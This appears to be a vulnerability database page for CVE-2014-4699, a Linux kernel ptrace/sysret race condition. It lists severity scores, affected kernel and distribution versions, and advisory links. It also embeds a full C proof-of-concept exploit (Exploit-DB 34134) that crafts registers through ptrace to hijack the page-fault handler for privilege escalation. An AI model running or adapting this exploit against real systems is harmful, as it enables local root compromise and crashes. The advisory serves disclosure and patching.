CVE-2014-4699 : Detail

CVE-2014-4699

0.06%V3
Local
2014-07-09
08h00 +00:00
2014-07-25
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Linux kernel before 3.15.4 on Intel processors does not properly restrict use of a non-canonical value for the saved RIP address in the case of a system call that does not use IRET, which allows local users to leverage a race condition and gain privileges, or cause a denial of service (double fault), via a crafted application that makes ptrace and fork system calls.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 34134

Publication date : 2014-07-20 22h00 +00:00
Author : Vitaly Nikolenko
EDB Verified : No

/** * CVE-2014-4699 ptrace/sysret PoC * by Vitaly Nikolenko * vnik@hashcrack.org * * > gcc -O2 poc_v0.c * * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the * following will trigger the #GP in sysret and overwrite the #PF handler so we * can land to our NOP sled mapped at 0x80000000. * However, once landed, the IDT will be trashed. We can either attempt to * restore it (then escalate privileges and execute our shellcode) or find * something else to overwrite that would transfer exec flow to our controlled * user-space address. Since 3.10.something, IDT is read-only anyway. If you * have any ideas, let me know. */ #include <stdio.h> #include <stdint.h> #include <assert.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/user.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> #define SIZE 0x10000000 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); unsigned long __user_cs; unsigned long __user_ss; unsigned long __user_rflags; void __attribute__((regparm(3))) payload() { uint32_t *fixptr = (void*)0xffffffff81dd70e8; // restore the #PF handler *fixptr = -1; //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630; //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0; //commit_creds(prepare_kernel_cred((uint64_t)NULL)); //__asm__ volatile ("swapgs\n\t" // "..."); } int main() { struct user_regs_struct regs; uint8_t *trampoline, *tmp; int status; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; // MAP_POPULATE so we don't trigger extra #PF trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0); assert(trampoline == 0x80000000); memset(trampoline, 0x90, SIZE); tmp = trampoline; tmp += SIZE-1024; memcpy(tmp, &payload, 1024); memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); pid_t chld; if ((chld = fork()) < 0) { perror("fork"); exit(1); } if (chld == 0) { if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { perror("PTRACE_TRACEME"); exit(1); } raise(SIGSTOP); fork(); return 0; } asm volatile("sidt %0" : "=m" (idt)); printf("IDT addr = 0x%lx\n", idt.addr); waitpid(chld, &status, 0); ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); ptrace(PTRACE_CONT, chld, 0, 0); waitpid(chld, &status, 0); ptrace(PTRACE_GETREGS, chld, NULL, &regs); regs.rdi = 0x0000000000000000; regs.rip = 0x8fffffffffffffff; regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78; // attempt to restore the IDT regs.rdi = 0x0000000000000000; regs.rsi = 0x81658e000010cbd0; regs.rdx = 0x00000000ffffffff; regs.rcx = 0x81658e000010cba0; regs.rax = 0x00000000ffffffff; regs.r8 = 0x81658e010010cb00; regs.r9 = 0x00000000ffffffff; regs.r10 = 0x81668e0000106b10; regs.r11 = 0x00000000ffffffff; regs.rbx = 0x81668e0000106ac0; regs.rbp = 0x00000000ffffffff; regs.r12 = 0x81668e0000106ac0; regs.r13 = 0x00000000ffffffff; regs.r14 = 0x81668e0200106a90; regs.r15 = 0x00000000ffffffff; ptrace(PTRACE_SETREGS, chld, NULL, &regs); ptrace(PTRACE_CONT, chld, 0, 0); ptrace(PTRACE_DETACH, chld, 0, 0); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.17 To (excluding) 3.2.61

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.97

Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.10.47

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.25

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.11

Linux>>Linux_kernel >> Version From (including) 3.15 To (excluding) 3.15.4

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 13.10

Canonical>>Ubuntu_linux >> Version 14.04

References

http://www.ubuntu.com/usn/USN-2269-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2274-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2268-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2267-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.osvdb.org/108754
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/60220
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2014/07/04/4
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2271-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/59654
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-2266-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://openwall.com/lists/oss-security/2014/07/08/5
Tags : mailing-list, x_refsource_MLIST
http://openwall.com/lists/oss-security/2014/07/08/16
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/59633
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2014/07/05/4
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/60393
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/60380
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-2270-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.exploit-db.com/exploits/34134
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/59639
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-2273-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2272-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2014/dsa-2972
Tags : vendor-advisory, x_refsource_DEBIAN